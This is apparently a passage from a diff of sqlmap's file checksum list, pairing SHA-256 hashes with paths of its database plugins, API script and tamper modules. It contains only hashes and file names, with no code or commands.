+15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/cache/filesystem.py +c6c66a4daec20e30a6e4b647e149693b7a2f2d0196df6d9995263cc1bf77d01a plugins/dbms/cache/fingerprint.py +b9c2af04ef96cdea693dc40505a917173d6e87fbf54e31cb80b68700e2fcd98b plugins/dbms/cache/__init__.py +152e5751ae83f92850ed6e100b0168478773e6a638b84f0117eca07c80c3de7f plugins/dbms/cache/syntax.py +185c4af214e7ab756dc40ca47ad519b4e8c98ad944a775b6a7dedb5c62262b61 plugins/dbms/cache/takeover.py +52448c7dd5e95291cf9b89ab3b574d46a36c8bf24b4d1a8e978d043e8d89d000 plugins/dbms/clickhouse/connector.py +c0f2622a8aabf630ad486cd4f83909c1f8e807f4bf5ec533a4af1bfe74fb1c28 plugins/dbms/clickhouse/enumeration.py +06f808b2bcd5469ea962e24ba0cf986527c7ab3e1aa35ef2390d0e62e82ff2b0 plugins/dbms/clickhouse/filesystem.py +6651471640bec9e2230bac67aeeb13f5329072c9ff3eb6965f1f44d3c82a2964 plugins/dbms/clickhouse/fingerprint.py +aae6a36ac07bc3e9d5b416f4fc6b26ecb7b9de749d1999787d19ced37b8a7440 plugins/dbms/clickhouse/__init__.py +aba0f1bdffc77cf64eff26747b6736e18f7dba4c7835c1d55d20ecdc9cf11de6 plugins/dbms/clickhouse/syntax.py +7887a09e81c0a1d815a3bee946b0a1285b929bc2ffaadd985b0cb487165b4c8d plugins/dbms/clickhouse/takeover.py +9ca6fccb27cac0037103db6f05b561039c9f6bd280ab2fb87b76e4d52142c335 plugins/dbms/cratedb/connector.py +ed2c22fc575cdbc1b20241b5699efc7d90828b169dabf4779b678482121a6d31 plugins/dbms/cratedb/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/cratedb/filesystem.py +ef7eecfd3cca7891e7eaa6e15e92166bcc3fff05a52546b899ebf1eb4e850b8b plugins/dbms/cratedb/fingerprint.py +069a1b7b6825b1fe1cb4a7308f46e704eb66d212556c4a93e4b32576a53b5710 plugins/dbms/cratedb/__init__.py +71fe10362af9eb1e479c082c24edb49d97aeaf1469f0edfffe408ed91f6b4f9e plugins/dbms/cratedb/syntax.py +9defe46e7e3859e8a58d26afc1964f74ab81b8158ad2be8817b11abb25dd55ad plugins/dbms/cratedb/takeover.py +3ab24a5d28021f1bce400811ccc1788d01647387c714a11e43f8fa421805d7b1 plugins/dbms/cubrid/connector.py +a463c8759d5df45dc5c30196e060f5e13560fe298e2028a2ad2b46e265e9b7d4 plugins/dbms/cubrid/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/cubrid/filesystem.py +110d5b883c65d101850e6a5d60a97f35717c8dd9497f0cf50689266bd281d956 plugins/dbms/cubrid/fingerprint.py +469c61617884349128219c270f975b62bede023b4032f36a79e1cf963c147b56 plugins/dbms/cubrid/__init__.py +2c5ac6eb7f565caafaac5d02bf7334a942d702e444c66d11eadf6556a0ffd718 plugins/dbms/cubrid/syntax.py +0bdfd0c7a4e7fa9b44ba7d61c5467cb67dcb156417a34e981b264de8ce5e1d55 plugins/dbms/cubrid/takeover.py +72663e8e920b8f3d26ec45b1071a09168ab01534a976e5afd809a81892218687 plugins/dbms/db2/connector.py +d2b140c2bccb56d2e53864f296e9a0d222d497a98faee7f8f2bc720f70630ea0 plugins/dbms/db2/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/db2/filesystem.py +ecba1c2f37301957cb05df2f8e35fd3b149eac8f555655af2cc56d8bc0a625d2 plugins/dbms/db2/fingerprint.py +14f1e5b39a5edd9b48f64f9e498b2487bd8de5354188716f228819e365a0f932 plugins/dbms/db2/__init__.py +3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/db2/syntax.py +874ad3a363f415a9b5b705cb2ec2d76872036ba678bbff5033da6bc1568caff4 plugins/dbms/db2/takeover.py +67cc525c8aba7200c01f6ae36f26cee7eaa01c0e4cc2c4416a0e59fab595c01a plugins/dbms/derby/connector.py +a70d01e72a6995d2bca0f72b696b69105791164b03784224ce81d22da0472116 plugins/dbms/derby/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/derby/filesystem.py +6fcb1878c57e1556b56efd3a665e393d5ce3eb5f427b13050ae2cb51ad64ffb2 plugins/dbms/derby/fingerprint.py +31c2a2bcf41568d9f5b5911cf81a2ffbe2c1489c1d0ef7f1e3dd87f0f271c85d plugins/dbms/derby/__init__.py +71fe10362af9eb1e479c082c24edb49d97aeaf1469f0edfffe408ed91f6b4f9e plugins/dbms/derby/syntax.py +d46e36b7d9ddafed9fd9e1190ec5af8f8287293d3d08e0ab352ecfbf231af7bb plugins/dbms/derby/takeover.py +0be4f17fc009c1d58fb1dbc0ef087d68bef007dd0daaea87e5a6dbda7f385558 plugins/dbms/extremedb/connector.py +e4e0d604af688794eeb4f81ab796f6fdc103af7de0498993f6424e3fce95875c plugins/dbms/extremedb/enumeration.py +b1d790a0eeebaeb78820094787458adb676ea519ae38152599f07c859b0d2a2b plugins/dbms/extremedb/filesystem.py +f75474af2a08c98b26a8eb360c244268766647a69b819c662d7077b4479bc3d4 plugins/dbms/extremedb/fingerprint.py +f2be0dd78572d6ed26130805974c8663c80e89c3da64c30fe76aad2779a3ef77 plugins/dbms/extremedb/__init__.py +71fe10362af9eb1e479c082c24edb49d97aeaf1469f0edfffe408ed91f6b4f9e plugins/dbms/extremedb/syntax.py +649c6a04e83b55857c8c98a209b4d40121e9169671b258dfbd4ae6ce993c496f plugins/dbms/extremedb/takeover.py +e3e66c6fd340cc0887a3582e4e6c73a703f5260d0a8dafdb3fe09e8ace787474 plugins/dbms/firebird/connector.py +29310d973f238c2d9599ed184122bbaedb4bfa9030f2fe5f37966e946b6053d1 plugins/dbms/firebird/enumeration.py +797ecc06bad81e6915f838e14246cbf266f77e500dbc8dedb6fbbcff4ac15074 plugins/dbms/firebird/filesystem.py +75ddf9cb76fdc9a2f4acaa1bd66e5b7218ed1e005cca8b6d20395344e6ade8e4 plugins/dbms/firebird/fingerprint.py +c0571bba933fac6cbb925ed14bf694ccd3da57c8aed97fa46e262f45e7880c6d plugins/dbms/firebird/__init__.py +a9a0eba443a0085b94fe7e5b7339fa8346acdeb1cd117d153446eb15e1d6ca7d plugins/dbms/firebird/syntax.py +d19649cbd5555a936e09c5209742541d96a3647787d51ea13bdce765a6198e64 plugins/dbms/firebird/takeover.py +d5994d9cd22c4761f995a6b4a7d97757270e8c13467367a47de4d27dbc68057f plugins/dbms/frontbase/connector.py +d7fb18ae7475d1dd75c09dc3f53d2aea4bd9c7b113b8a1c030d3a510177f113f plugins/dbms/frontbase/enumeration.py +2e10646b916129a14b0b959a86a072eb41a6b57995fb0ade286eb565c9b09366 plugins/dbms/frontbase/filesystem.py +7b4420db7796610c0fe3851edfa697dc59e715edb394b1fecb6f1e6e10dd29f7 plugins/dbms/frontbase/fingerprint.py +97c006d99f6d34a320a4348e9cf8a992917ee6f325272049d753956409d3cdac plugins/dbms/frontbase/__init__.py +71fe10362af9eb1e479c082c24edb49d97aeaf1469f0edfffe408ed91f6b4f9e plugins/dbms/frontbase/syntax.py +fd9d9030d054b9b74cf6973902ca38b0a6cad5898b828366162df6bdc8ea10d2 plugins/dbms/frontbase/takeover.py +ed39a02193934768cf65d86f9424005f60e0ef03052b5fea1103c78818c19d45 plugins/dbms/h2/connector.py +8556f37d4739f8eafcde253b2053d1af41959f6ec09af531304d0e695e3eed6b plugins/dbms/h2/enumeration.py +080b0c1173ffe7511dc6990b6de8385b5e63a5c19b8d5e2d04de23ac9513a45c plugins/dbms/h2/filesystem.py +d08c1a912f8334c3e706b598db2869edbb1a291a2ccb00c9523ee371de9db0d0 plugins/dbms/h2/fingerprint.py +94ee6a0f41bb17b863a0425f95c0dcf90963a7f0ed92f5a2b53659c33b5910b8 plugins/dbms/h2/__init__.py +9899a908eb064888d0e385156395d0436801027b2f4a9846b588211dc4b61f83 plugins/dbms/h2/syntax.py +53951b2ba616262df5a24aa53e83c1e401d7829bd4b7386dd07704fd05811de2 plugins/dbms/h2/takeover.py +f8fe5a55ed20f4f2ab85748b30eb7933359ec2a97a51c9d03335c29451b1589c plugins/dbms/hsqldb/connector.py +f6f4a4912693ea13c037ecfecb991600ca19a0772dab5156fc0c2ad26dff47da plugins/dbms/hsqldb/enumeration.py +85ab36bfa27e3722683b2eb4c49f5afe79a58a3d0bde554d443440e471a48285 plugins/dbms/hsqldb/filesystem.py +1cc469e9129d4ad8a80c0ae8377432d6941bff034b1de2db7c2acf277c4dfdd9 plugins/dbms/hsqldb/fingerprint.py +a05c96907a7e0a13a9f4797351f1d2799e5a39a2c75e6422752dbafd988849ec plugins/dbms/hsqldb/__init__.py +9899a908eb064888d0e385156395d0436801027b2f4a9846b588211dc4b61f83 plugins/dbms/hsqldb/syntax.py +524344f3351b8540025a0859ab25f1ae5c9d8720fb27edd7d33216ae100d6c8c plugins/dbms/hsqldb/takeover.py +978e29639d756547ff94b54a82c27353c1a9a3f593aa17d887642a42447654d4 plugins/dbms/informix/connector.py +f3a71fca5986082d562119b9ca9371776fe84c86463e72abe621413b477d8eca plugins/dbms/informix/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/informix/filesystem.py +0fa903103a82552afee1347ea33c17d4043f8c7b5d3261bba600fd6f7de224dd plugins/dbms/informix/fingerprint.py +3354ff1989eb37845d271b4ce805b87c0e4bf3da3f341ab055ee1ad1c53cb244 plugins/dbms/informix/__init__.py +27b17bf30d941a4c69ee4feceb4f73d65e4fa670cc20583f73902985025407f8 plugins/dbms/informix/syntax.py +874ad3a363f415a9b5b705cb2ec2d76872036ba678bbff5033da6bc1568caff4 plugins/dbms/informix/takeover.py +4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/dbms/__init__.py +1b0a9b61d0a8f785a320145aba3d8e0f27b2c0c26714c2faa1fc206e2044e437 plugins/dbms/maxdb/connector.py +477b9096f899e89670bb0825edba9992ea8489ca474d435a022d11dcf2c87444 plugins/dbms/maxdb/enumeration.py +bf0457ede8723646932efa5bef5fea81f25c202731e6562f94688f4aca1e6f07 plugins/dbms/maxdb/filesystem.py +ee89da0d8f5a410009ddc257cde63782724b44dacc623b7592ce8f4da64f0797 plugins/dbms/maxdb/fingerprint.py +586facbacac81503933c2e51819c3c1404090b035efbe7f4fd9ceb15c520e51e plugins/dbms/maxdb/__init__.py +71fe10362af9eb1e479c082c24edb49d97aeaf1469f0edfffe408ed91f6b4f9e plugins/dbms/maxdb/syntax.py +7ebb34e4073af1f572c19365b6982a6c172c08fe02c52b97b9a642a7333763b5 plugins/dbms/maxdb/takeover.py +324ee614523fb204d82332f6d332fca3a333fc49c437ca108b7cb96964c1b59e plugins/dbms/mckoi/connector.py +d6049f27ce3243988081b28d6ce09a5dd47addd00ad97f5c3d388956101baba6 plugins/dbms/mckoi/enumeration.py +bd90f82ce5d733e98292f00457e65526c996b5462b43644601f3d1d922407d77 plugins/dbms/mckoi/filesystem.py +8f6a6bc82f5f626838862e255bffca3b8304703054e51f1b373ae0714ad3d58f plugins/dbms/mckoi/fingerprint.py +3fcced127cd0b24a4f5e6cbaa3c7bcf5869c20ecc4720103f83a4fcfe2320f81 plugins/dbms/mckoi/__init__.py +71fe10362af9eb1e479c082c24edb49d97aeaf1469f0edfffe408ed91f6b4f9e plugins/dbms/mckoi/syntax.py +f150ce95097d189d930032d5b2e63b166bcf9e438f725aed90c36e5c393793ec plugins/dbms/mckoi/takeover.py +237615b40daa249a74898cfea05543a200e6ec668076bb9ee57502e1cee2b751 plugins/dbms/mimersql/connector.py +9bc55b72f833a71b978a64def32f9bb949c84cf059e953a7ba7f83755714bee1 plugins/dbms/mimersql/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/mimersql/filesystem.py +8e292bf4b249e2cf2b9dce43e07365a3b0aa7016d094de0491d5e507a2a7c1dc plugins/dbms/mimersql/fingerprint.py +e70a35787a176b388dae2b8124433a11ac60e4b669fd18ebf81665a45233363a plugins/dbms/mimersql/__init__.py +bc7e155bd1cc573fd4144ba98cce34f41bae489208acd3db15d1c36115bf23f8 plugins/dbms/mimersql/syntax.py +2dea7308e4ddd3083c7b2e9db210b7cc00f27f55692b2a65affdf5344e2838df plugins/dbms/mimersql/takeover.py +6e8f5af31a455afdea26c30652a3f112d1627904d263bebfc13849d86d52b5a9 plugins/dbms/monetdb/connector.py +74e3dadf825ad4320c612e1ee0340c4af4fb566998cd63c087a5525f6786c55c plugins/dbms/monetdb/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/monetdb/filesystem.py +e60096fe9263392470ba3ca4761b9f2f7768c99b41d2ac688b052ab0fc186f82 plugins/dbms/monetdb/fingerprint.py +bdf70ec72d76a94e60b3a7fefe732184fb85fde5c067a671f7fa4ae80e8cc10c plugins/dbms/monetdb/__init__.py +a1cf9a8cd5e263d1e48dc8b5281febaf868ee91f1e0587dee915949fdb6da1ea plugins/dbms/monetdb/syntax.py +84d9f336ff3d75a1127c7f5ccda7bff6dac947d7d8bbeee2014e8a29b984a98d plugins/dbms/monetdb/takeover.py +545fbbb386ab7819261a3917d0f016d723dbced8e065945ba60271a73544c459 plugins/dbms/mssqlserver/connector.py +2895d14ead30d7ee4e1fdb29a8d1d059493ad60490ed2e9ff6cb9680257554cd plugins/dbms/mssqlserver/enumeration.py +89cbc49cd9113e9ba91be090f79c0384089d1bfed785ac8ee5b07f84309c74cb plugins/dbms/mssqlserver/filesystem.py +87a35cadd3fe4987f548f498c442f748cf1f37650fd1dcd8decd1455a90d675c plugins/dbms/mssqlserver/fingerprint.py +784d6065921a8efbba970864a2cb2e0ef1dd1fcea7181cfc3f737bbfa18f0574 plugins/dbms/mssqlserver/__init__.py +79a887b5a2449bb086805560ff0ec2a2304dd142f47450ae9c2f88cf8bda9ac9 plugins/dbms/mssqlserver/syntax.py +bb0edf756903d8a9df7b60272541768102c64e562e6e7a356c5a761b835efde3 plugins/dbms/mssqlserver/takeover.py +9a1a69416af5a3fc60b93dd8a80fb23b3f190fe96f2564f170df2edeb5bb3599 plugins/dbms/mysql/connector.py +1e29529d6c4938a728a2d42ef4276b46a40bf4309570213cf3c08871a83abdc1 plugins/dbms/mysql/enumeration.py +200b2c910e6902ef8021fe40b3fb426992a016926414cbf9bb74a3630f40842d plugins/dbms/mysql/filesystem.py +b7aa7bf8b1f9ba38597bae7fc8bf436b111eeb5ee6a4ad0a977e56dca88a4afc plugins/dbms/mysql/fingerprint.py +88daad9cf2f62757949cb27128170f33268059e2f0a05d3bd9f75417b99149de plugins/dbms/mysql/__init__.py +20108fe32ae3025036aa02b4702c4eda81db01c04a2e0e2e4494d8f1b1717eca plugins/dbms/mysql/syntax.py +91f34b67fe3ad5bfa6eae5452a007f97f78b7af000457e9d1c75f4d0207f3d39 plugins/dbms/mysql/takeover.py +125966162396ef4084d70fac1c03e25959a6ccebacd8274bda69b7bebf82b9d5 plugins/dbms/oracle/connector.py +8866391a951e577d2b38b58b970774d38fb09f930fa4f6d27f41af40c06987c1 plugins/dbms/oracle/enumeration.py +5ca9f30cd44d63e2a06528da15643621350d44dc6be784bf134653a20b51efef plugins/dbms/oracle/filesystem.py +b1c939e3728fe4a739de474edb88583b7e16297713147ca2ea64cac8edf2bdf5 plugins/dbms/oracle/fingerprint.py +53fe7fc72776d93be72454110734673939da4c59fecdf17bbbc8de9cdc52c220 plugins/dbms/oracle/__init__.py +39611d712c13e4eb283b65c19de822d5afa4a3c08f12998dd1398725caf48940 plugins/dbms/oracle/syntax.py +cd3590fbb4d500ed2f2434cf218a4198febb933793b7a98e3bb58126839b06f1 plugins/dbms/oracle/takeover.py +9ca6fccb27cac0037103db6f05b561039c9f6bd280ab2fb87b76e4d52142c335 plugins/dbms/postgresql/connector.py +3ebc81646f196624ec004a77656767e4850f2f113b696f7c86b5ca4daf0ee675 plugins/dbms/postgresql/enumeration.py +760285195bdfd91777066bf2751c897f87fab1ada24f729556b122db937c7f88 plugins/dbms/postgresql/filesystem.py +42fbf2707e9f67554571e63ef2d204d28303e4d25eb7781ec800084fb53324ce plugins/dbms/postgresql/fingerprint.py +4c76ebe0369647f95114a7807e08cd0821d3f5b7159a3ec659d33ef8175163f7 plugins/dbms/postgresql/__init__.py +04f8ce5afb10c91cfb456cf4cce627b5351539098c4ddfeb63311a55951ac6b0 plugins/dbms/postgresql/syntax.py +33f5a6676380cdd4dfbe851b5945121399a158a16ad6b6760b931aa140a353e2 plugins/dbms/postgresql/takeover.py +ba4c83075ac870473ca91144641c18bc2ca1bf7d7ef5593e4666d95dc9f659d3 plugins/dbms/presto/connector.py +5b8a46ac204080f1a357dac634330449020d122b4bf84e1c1e9618dc88a8e8a6 plugins/dbms/presto/enumeration.py +3d65033809b919f6ec53ef93f9cdc2b35304014bc261e5c06b26ab52ded9b4c2 plugins/dbms/presto/filesystem.py +cb0eb626dc3467e6adbba46f382f9a370397736312f5b50d39593ce3b84bd01c plugins/dbms/presto/fingerprint.py +90e5500ad15c12394c6bf684d1b85085d6ddad9d2bc2df6ccb2b11be3e21940f plugins/dbms/presto/__init__.py +3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/presto/syntax.py +ffd5471d633ecc4bd55ba3674819aec0602ba92812c191d4c1dc468a3263a9f5 plugins/dbms/presto/takeover.py +c122c48253d90a312962dd48ed47847d86df2b199e34133b70ec78d7b385179b plugins/dbms/raima/connector.py +aeeedd464149ad6cfc0dab35b7c7b096a186b4b7ea02641ffa92306d1789f36c plugins/dbms/raima/enumeration.py +3bcd38e900e7c8b53bcbd62dad03f8fa5df04910d96b09115e670302c80b61fc plugins/dbms/raima/filesystem.py +e5b680e2668313a8b3d4567e2394b557a7db407c4f978f63a54c41b8d786d4b1 plugins/dbms/raima/fingerprint.py +48a9d1576247b555ed6d910b047f757dea10242ddeb19c7a69a6183a4724dc27 plugins/dbms/raima/__init__.py +9899a908eb064888d0e385156395d0436801027b2f4a9846b588211dc4b61f83 plugins/dbms/raima/syntax.py +543949cee45ae5cfb36ad38a82666f211d4f8d0ecf224c6ebb13a8d2455441e1 plugins/dbms/raima/takeover.py +3038aa55150688855fb4ea5017fe3405a414f2cf4a7630764b482d02f7442b25 plugins/dbms/sqlite/connector.py +6736ff9995db5675bb82bf2014117bdc5ce641f119b79763edb7aa983443ec87 plugins/dbms/sqlite/enumeration.py +e75cf970d5d76bc364d2fd02eab4086be6263d9c71fa5b44449bada158cd87d3 plugins/dbms/sqlite/filesystem.py +d9a17f49a99b715187e12635a202c5a487e71ef2e6877116d5bc9eb4a0d28eee plugins/dbms/sqlite/fingerprint.py +9b00c84f7b25b488a4cbb45fe9571e6661206771f1968f68badc0c670f042a0b plugins/dbms/sqlite/__init__.py +5457814ccacf9ca75ae6c39f1e615dd1ca63a8a2f21311f549f8a1df02d09634 plugins/dbms/sqlite/syntax.py +3aeb29f4486bd43b34afe58f581cb19a9932cabc87888416d2e383737b690072 plugins/dbms/sqlite/takeover.py +210da495985643e1952edac123f4b0b963545ecb4c10ce7b9421e8ae101d37b7 plugins/dbms/sybase/connector.py +8fbdfd90b980cae6d86d9a4e193644655e0820885bb8d2c847930a1dfa7185d2 plugins/dbms/sybase/enumeration.py +cc237effd49ab53317d8d4b6fad41eef72de7e8f241d9264a65427846ff0c853 plugins/dbms/sybase/filesystem.py +3dabc716f6603b83767c579b9237352b9f4860110f83e47dc6b0d8720c6ca91d plugins/dbms/sybase/fingerprint.py +cf21209a5efb9ed2d1c682197f0cd12d514c8c38a7d629f4d66306da8975e300 plugins/dbms/sybase/__init__.py +87c27c7839d6bc4f7bc1dbe44eb7dcca9d2d68ee744f3e2edf6fac3e80f18088 plugins/dbms/sybase/syntax.py +3795dbe49e08fe6a9251ec6ce44e3c323138ffc38dfed93db35220b442faf03b plugins/dbms/sybase/takeover.py +b8adf2e7d9921ff47a4a15f58b4a8665995f5ea079e8843556a11995678a606e plugins/dbms/vertica/connector.py +c6d4c5bf1d6e3420e0b009e44b70f52db4a6d509451188ca9f7c2b0b73608080 plugins/dbms/vertica/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/vertica/filesystem.py +2bc1e4f5b3465e776f377f9ede48de79ed588f74b3cbd12e17868440a4b09c1b plugins/dbms/vertica/fingerprint.py +40a381a9d3a2aeae08321390263d078d1e84212f13b7291ae09fc3b9c91f4cdf plugins/dbms/vertica/__init__.py +e2b7aad0f739b82eef819202d1543983bd461255e3a2ac7bb66849df75728e2a plugins/dbms/vertica/syntax.py +b57d7ae86b5531813aca7ffe11668b8a62ace3e2f8c69dbceca67fbf3cde42ee plugins/dbms/vertica/takeover.py +b17f7ce72b5aa061caf1d0f1fc3510b3a1fa6f382a2d7115ed76dcab271a7507 plugins/dbms/virtuoso/connector.py +a5aa977e1a20b0e8b57cd1369d3071812415904008d533190f00fd13cd26aec9 plugins/dbms/virtuoso/enumeration.py +7148d747b1e76b5c508180dc5a6015f39fdea047d7386784b8dc8a8dad965fd3 plugins/dbms/virtuoso/filesystem.py +01ef324069c3d0a5f50f2916654cdc5c283e59600863820cc55af9d928a55325 plugins/dbms/virtuoso/fingerprint.py +6e355c60fbb131d1190d993732198989f3d17db21cb3b55edaaf586d49cd6807 plugins/dbms/virtuoso/__init__.py +3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/virtuoso/syntax.py +f00e5d1d8ddedcb7980b442d5cabf8bf1c7783c289e32c57a7107f37a3fb40a5 plugins/dbms/virtuoso/takeover.py +25ed1b975dd09a9224056a02e1f7997512da13eb1aa45222cb817928c681f474 plugins/generic/connector.py +b333c73c6a490b5930a09c6c09951af1044eb97076446b2f1475c7cfdfc838a6 plugins/generic/custom.py +4a923f52e8d2dfa6b55c16e08fd5f64eeb292b99573030c0397c7292a4032dd3 plugins/generic/databases.py +9b0dbf8f77f190ca92cc58e9c5f784d0b30276ee7d99906f6d9c826c23b6d2e1 plugins/generic/entries.py +783a17bb5188b6b9f4a73dbf10d5cf5c073144d5c1970a9d4aec27cb828e2356 plugins/generic/enumeration.py +5dbcb646c03b43d1f26c0dbd17ae8fb537fdc526ca9984e1cc3e9eae12c38e6e plugins/generic/filesystem.py +ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generic/fingerprint.py +4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/generic/__init__.py +9ec577d8ccf4698d4e7834bf1e97aea58fba9d2609714b7139c747bcc4f59a30 plugins/generic/misc.py +546486bd4221729d7d85b6ce3dbc263c818d091c67774bd781d7d72896eb733b plugins/generic/search.py +9be0e2f931b559052518b68511117d6d6e926e69e463ddfa6dc8e9717c0ca677 plugins/generic/syntax.py +7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py +115ee30c77698bb041351686a3f191a3aa247adb2e0da9844f1ad048d0e002cd plugins/generic/users.py +4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py 90530922cac9747a5c7cf8afcc86a4854ee5a1f38ea0381a62d41fc74afe549a README.md -ea26a250120cfaac03dd8d9a65dd236afe9ea99978bdaa4c73a0588a27f55291 sqlmapapi.py +535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf -f84846b8493d809d697a75b3d13d904013bbb03e0edd82b724f4753801609057 sqlmap.py -9d408612a6780f7f50a7f7887f923ff3f40be5bfa09a951c6dc273ded05b56c0 tamper/0eunion.py -c1c2eaa7df016cc7786ccee0ae4f4f363b1dce139c61fb3e658937cb0d18fc54 tamper/apostrophemask.py -19023093ab22aec3bce9523f28e8111e8f6125973e6d9c82adb60da056bdf617 tamper/apostrophenullencode.py -ffb81905dfbfa346f949aed54755944403bfbc0cc015cd196e412d7c516c5111 tamper/appendnullbyte.py -50c270f6073a2dab08a5d64a91db1d1b372a206abd85ad54a630e1067ad614cf tamper/base64encode.py -874aea492eed81c646488cd184a2c07b0fba2be247208227c91de9b223b016ee tamper/between.py -386ede29943456818e22ec9d1555693c9d676c9330bc527dbb9b3f52c9b3cbb1 tamper/binary.py -63a3fc494ff07b9f0e37025ff932b386aaeafd24a65da7f530f562ed78083c51 tamper/bluecoat.py -4635c3b863e624169347d37834021402d95b4240bd138bec2ffc9d4f28d23422 tamper/chardoubleencode.py -fa25e5a74c6cf0787b4f72321294095a3b7690f53423f058187ad08b458ef1fe tamper/charencode.py -1c87fc49792df6091b7eb880108142b42a0a3810cc0cd2316a858ccdbf1c5ce4 tamper/charunicodeencode.py -00d51073f9e40d8dfa5fcb04eafda359bd0ecb91e358b3910f3ec43c1a381111 tamper/charunicodeescape.py -549d206488c3c651eca958bb1b016771fc36e6ebbed76c009959a728a66ed333 tamper/commalesslimit.py -f6351d88d74c7ec4f39f306c86ea8bddf41a04bc6c25987bea92df877542ec6f tamper/commalessmid.py -52dbbe4353f1096747787c83d5b6c60a41861f59c03ee28cca2b52c107266b85 tamper/commentbeforeparentheses.py -60b5bcdcdee261e39b7479811c09b936c52b22da6c1397a5c0c220ce241122f9 tamper/concat2concatws.py -14799daf71f4885883b294d8f697c9b1e33d24f9e9f1d3be6d2a2c60b82f69a7 tamper/decentities.py -b5cf413cc21b0bf0059d8af98a33b2cf19f49b5c21e0e3846783ca7e5d1eff9a tamper/dunion.py -27504dc545c498708271d0c7bea14b44b89403c5b8fc98d60120dd9ea52b6d0f tamper/equaltolike.py -20335ef616befb53184fb0179c492f0d167b58ae718fa015f72c837244a00a4c tamper/equaltorlike.py -5a4927d47403b951d943d3c08af144396012659598d3d2ac5fbf84572c38fe4e tamper/escapequotes.py -dad8dddf7b63d4fadfa9e87fc7676888f058907ba45ace449f5cde87dc5643d0 tamper/greatest.py -77a0e7a233124632f4906597a0a19a00739f8c027eb0a433451dc09fa1bda056 tamper/halfversionedmorekeywords.py -97e208dde78b6c27bf57a761433280d5b9e4e7934f9524fe228326c658bb150f tamper/hex2char.py -9eaae1c351058602c9f19306ff6498b60af166fd7242089ceb7be8f3782568e0 tamper/hexentities.py -6dc224f2af8f57e9b48d860fea662c4efdf77cb152de9b6db5469c7ab3f10afb tamper/htmlencode.py -cb1b78a6984b99b86f8ae3d88b2da871e6c4d478a11540a2864786705e304429 tamper/if2case.py -7b95283abcef696bf22b19690ce9381bbd3e8d6f78846a541759546c19805c90 tamper/ifnull2casewhenisnull.py -d3e85b2eeb8330482fd602cff23399a23bb6a2d25ea44a594e5a8ca0028e78a3 tamper/ifnull2ifisnull.py -d498e409c96d2ae2cc86263ead52ae385e95e9ec27f28247180c7c73ec348b3f tamper/informationschemacomment.py -1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 tamper/__init__.py -b9a84211c84785361f4efa55858a1cdddd63cee644d0b8d4323b3a5e3db7d12f tamper/least.py -0de2bd766f883ac742f194f991c5d38799ffbf4346f4376be7ec8d750f2d9ef8 tamper/lowercase.py -5015f35181dd4e4e0bddc67c4dfd86d6c509ae48a5f0212a122ff9a62f7352ce tamper/luanginxmore.py -c390d072ed48431ab5848d51b9ca5c4ff323964a770f0597bdde943ed12377f8 tamper/luanginx.py -7eba10540514a5bfaee02e92b711e0f89ffe30b1672ec25c7680f2aa336c8a58 tamper/misunion.py -b262da8d38dbb4be64d42e0ab07e25611da11c5d07aa11b09497b344a4c76b8d tamper/modsecurityversioned.py -fbb4ea2c764a1402293b71064183a6e929d5278afa09c7799747c53c3d3a9df3 tamper/modsecurityzeroversioned.py -91c7f96f3d0a3da9858e6ebebb337d6e3773961ff8e85af8b9e8458f782e75c0 tamper/multiplespaces.py -f4d87befddbc0474f61aee79a119ca0e77595bf8635a6b715c9d397e65a41a79 tamper/ord2ascii.py -50ebd172e152ed9154ff75acc45b95b3c406be2d2985fe1190bfb2f6a4077763 tamper/overlongutf8more.py -a1e7d8907e7b4b25b1a418e8d5221e909096f719dcb611d15b5e91c83454ccdc tamper/overlongutf8.py -639b9cc83d94f536998b4efed8a88bed6ff8e9c67ea8381e87d1454cdea80293 tamper/percentage.py -704551003e62d4fc1949855931d6cebd57cc5cdbf2221dbd43e51cbdad6f130d tamper/plus2concat.py -b9d1e3ee657236b13ad5ecaf2adfa089e24a0e67738253eedb533a68f277a6e3 tamper/plus2fnconcat.py -fb4b7539284db076147a530df1dd072d5d35e32a71fd7bc8e312319d5f3aaa52 tamper/randomcase.py -f40d9267b4e9b689412cd45eb7b61540420f977370c5f9deba272bdae09d2404 tamper/randomcomments.py -35a8539ac8030d3fc176ea8231fe8983285fc576f7e0b50ccdf911a565f1f758 tamper/schemasplit.py -a34524af6fe2f2bba642b3234fbf1aa8785761e7d82906005b5476b7cc724857 tamper/scientific.py -65d22c54abfa61b73140020d48a86ec8eeb4c9e4e5e088d1462e4bce4a64f18b tamper/sleep2getlock.py 